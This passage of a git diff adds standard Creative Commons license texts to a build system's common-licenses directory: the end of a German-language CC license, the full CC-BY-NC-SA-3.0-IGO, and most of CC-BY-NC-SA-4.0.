+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO b/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO
new file mode 100644
index 0000000000..e03be0e88e
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO
@@ -0,0 +1,105 @@
+Attribution-NonCommercial-ShareAlike 3.0 IGO
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. THE LICENSOR IS NOT NECESSARILY AN INTERGOVERNMENTAL ORGANIZATION (IGO), AS DEFINED IN THE LICENSE BELOW.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (“LICENSE”). THE LICENSOR (DEFINED BELOW) HOLDS COPYRIGHT AND OTHER RIGHTS IN THE WORK. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION FOR YOUR ACCEPTANCE AND AGREEMENT TO THE TERMS OF THE LICENSE.
+
+1. Definitions
+
+ a. "IGO" means, solely and exclusively for purposes of this License, an organization established by a treaty or other instrument governed by international law and possessing its own international legal personality. Other organizations established to carry out activities across national borders and that accordingly enjoy immunity from legal process are also IGOs for the sole and exclusive purposes of this License. IGOs may include as members, in addition to states, other entities.
+
+ b. "Work" means the literary and/or artistic work eligible for copyright protection, whatever may be the mode or form of its expression including digital form, and offered under the terms of this License. It is understood that a database, which by reason of the selection and arrangement of its contents constitutes an intellectual creation, is considered a Work.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License and may be, but is not necessarily, an IGO.
+
+ d. "You" means an individual or entity exercising rights under this License.
+
+ e. "License Elements" means the following high-level license attributes as selected by the Licensor and indicated in the title of this License: Attribution, Noncommercial, ShareAlike.
+
+ f. "Reproduce" means to make a copy of the Work in any manner or form, and by any means.
+
+ g. "Distribute" means the activity of making publicly available the Work or Adaptation (or copies of the Work or Adaptation), as applicable, by sale, rental, public lending or any other known form of transfer of ownership or possession of the Work or copy of the Work.
+
+ h. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
+
+ i. "Adaptation" means a work derived from or based upon the Work, or upon the Work and other pre-existing works. Adaptations may include works such as translations, derivative works, or any alterations and arrangements of any kind involving the Work. For purposes of this License, where the Work is a musical work, performance, or phonogram, the synchronization of the Work in timed-relation with a moving image is an Adaptation. For the avoidance of doubt, including the Work in a Collection is not an Adaptation.
+
+ j. "Collection" means a collection of literary or artistic works or other works or subject matter other than works listed in Section 1(b) which by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. For the avoidance of doubt, a Collection will not be considered as an Adaptation.
+
+2. Scope of this License. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright protection.
+
+3. License Grant. Subject to the terms and conditions of this License, the Licensor hereby grants You a worldwide, royalty-free, non-exclusive license to exercise the rights in the Work as follows:
+
+ a. to Reproduce, Distribute and Publicly Perform the Work, to incorporate the Work into one or more Collections, and to Reproduce, Distribute and Publicly Perform the Work as incorporated in the Collections; and,
+
+ b. to create, Reproduce, Distribute and Publicly Perform Adaptations, provided that You clearly label, demarcate or otherwise identify that changes were made to the original Work.
+
+This License lasts for the duration of the term of the copyright in the Work licensed by the Licensor. The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to the rights set forth in Section 4(e).
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work (see section 8(a)). You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from a Licensor You must, to the extent practicable, remove from the Collection any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(d), as requested. If You create an Adaptation, upon notice from a Licensor You must, to the extent practicable, remove from the Adaptation any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(d), as requested.
+
+ b. You may Distribute or Publicly Perform an Adaptation only under the terms of: (i) this License; (ii) a later version of this License with the same License Elements as this License; or (iii) either the unported Creative Commons license or a ported Creative Commons license (either this or a later license version) containing the same License Elements (the “Applicable License”). (I) You must include a copy of, or the URI for, the Applicable License with every copy of each Adaptation You Distribute or Publicly Perform. (II) You may not offer or impose any terms on the Adaptation that restrict the terms of the Applicable License or the ability of the recipient of the Adaptation to exercise the rights granted to that recipient under the terms of the Applicable License. (III) You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work as included in the Adaptation You Distribute or Publicly Perform. (IV) When You Distribute or Publicly Perform the Adaptation, You may not impose any effective technological measures on the Adaptation that restrict the ability of a recipient of the Adaptation from You to exercise the rights granted to that recipient under the terms of the Applicable License. This Section 4(b) applies to the Adaptation as incorporated in a Collection, but this does not require the Collection apart from the Adaptation itself to be made subject to the terms of the Applicable License.
+
+ c. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be primarily intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ d. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) any attributions that the Licensor indicates be associated with the Work as indicated in a copyright notice, (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and, (iv) consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation. The credit required by this Section 4(d) may be implemented in any reasonable manner; provided, however, that in the case of an Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributors to the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Licensor or others designated for attribution, of You or Your use of the Work, without the separate, express prior written permission of the Licensor or such others.
+
+ e. For the avoidance of doubt:
+
+ i. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
+ ii. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License if Your exercise of such rights is for a purpose or use which is otherwise than noncommercial as permitted under Section 4(c) and otherwise waives the right to collect royalties through any statutory or compulsory licensing scheme; and,
+
+ iii. Voluntary License Schemes. To the extent possible, the Licensor waives the right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary licensing scheme. In all other cases the Licensor expressly reserves the right to collect such royalties.
+
+ f. Except as otherwise agreed in writing by the Licensor, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the honor or reputation of the Licensor where moral rights apply.
+
+5. Representations, Warranties and Disclaimer
+
+THE LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability
+
+IN NO EVENT WILL THE LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF THE LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. Subject to the terms and conditions set forth in this License, the license granted here lasts for the duration of the term of the copyright in the Work licensed by the Licensor as stated in Section 3. Notwithstanding the above, the Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated below.
+
+ b. If You fail to comply with this License, then this License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. Notwithstanding the foregoing, this License reinstates automatically as of the date the violation is cured, provided it is cured within 30 days of You discovering the violation, or upon express reinstatement by the Licensor. For the avoidance of doubt, this Section 7(b) does not affect any rights the Licensor may have to seek remedies for violations of this License by You.
+
+8. Miscellaneous
+
+ a. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b Each time You Distribute or Publicly Perform an Adaptation, the Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+
+ c. If any provision of this License is invalid or unenforceable, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the Licensor.
+
+ e. This License constitutes the entire agreement between You and the Licensor with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+ f. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). Interpretation of the scope of the rights granted by the Licensor and the conditions imposed on You under this License, this License, and the rights and conditions set forth herein shall be made with reference to copyright as determined in accordance with general principles of international law, including the above mentioned conventions.
+
+ g. Nothing in this License constitutes or may be interpreted as a limitation upon or waiver of any privileges and immunities that may apply to the Licensor or You, including immunity from the legal processes of any jurisdiction, national court or other authority.
+
+ h. Where the Licensor is an IGO, any and all disputes arising under this License that cannot be settled amicably shall be resolved in accordance with the following procedure:
+
+ i. Pursuant to a notice of mediation communicated by reasonable means by either You or the Licensor to the other, the dispute shall be submitted to non-binding mediation conducted in accordance with rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with those communicated in the notice of mediation. The language used in the mediation proceedings shall be English unless otherwise agreed.
+
+ ii. If any such dispute has not been settled within 45 days following the date on which the notice of mediation is provided, either You or the Licensor may, pursuant to a notice of arbitration communicated by reasonable means to the other, elect to have the dispute referred to and finally determined by arbitration. The arbitration shall be conducted in accordance with the rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with the UNCITRAL Arbitration Rules as then in force. The arbitral tribunal shall consist of a sole arbitrator and the language of the proceedings shall be English unless otherwise agreed. The place of arbitration shall be where the Licensor has its headquarters. The arbitral proceedings shall be conducted remotely (e.g., via telephone conference or written submissions) whenever practicable.
+
+ iii. Interpretation of this License in any dispute submitted to mediation or arbitration shall be as set forth in Section 8(f), above.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of the Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of this License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-4.0 b/meta/files/common-licenses/CC-BY-NC-SA-4.0
new file mode 100644
index 0000000000..baee873b67
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-4.0
@@ -0,0 +1,170 @@
+Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. BY-NC-SA Compatible License means a license listed at creativecommons.org/compatiblelicenses, approved by Creative Commons as essentially the equivalent of this Public License.
+
+ d. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ e. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ f. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ g. License Elements means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution, NonCommercial, and ShareAlike.
+
+ h. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ i. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ j. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ k. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ l. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ m. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ n. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. Additional offer from the Licensor – Adapted Material. Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply.
+
+ C. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ b. ShareAlike.In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply.
+
+ 1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-NC-SA Compatible License.
+
+ 2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material.
+
+ 3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
